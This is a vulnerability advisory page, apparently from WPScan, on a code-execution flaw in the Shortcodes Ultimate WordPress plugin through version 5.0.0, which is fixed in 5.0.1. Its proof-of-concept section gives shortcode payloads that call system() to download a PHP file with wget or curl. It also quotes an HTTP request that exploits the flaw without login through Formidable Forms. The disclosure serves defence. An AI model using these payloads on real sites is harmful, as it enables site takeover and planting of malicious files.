Shortcodes Ultimate <= 5.0.0 - Authenticated Contributor Code Execution

Sign up to our free email alerts service for instant vulnerability notifications!

The Shortcodes Ultimate plugin does not sanitize the "filter" argument to the "su_meta", "su_user", and "su_post" shortcodes, allowing the filter to be set to the "system()" function which runs arbitrary code.

This is being exploited in the wild; I discovered this though analysis of mod_security audit logs on two compromised sites today.
Proof of Concept
If a contributor creates a draft post with this text:

[su_meta key=1 post_id=1 default='wget -O test.php' filter='system']

... then previews that post, Shortcodes Ultimate will run the code and save the malicious file as "test.php".

This is a simplified version of an exploit I saw this morning, which didn't require a contributor role account because it took advantage of the fact that another plugin ("Formidable Forms" accepts untrustedinput and passes it to do_shortcode(). That looked like this:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=frm_forms_preview&form={'asdf-asdf'}&before_html=[su_meta key=1 post_id=1 default='curl > ../wp-content/upoad.php' filter='system']&custom_style=1

Affects Plugin

fixed in version 5.0.1






Submitter Robert Mathews
Submitter Website
Submitter Twitter @TigerTech
Views 617
Verified No


Publicly Published 2017-10-31 (8 months ago)
Added 2017-11-07 (8 months ago)
Last Updated 2017-11-27 (7 months ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.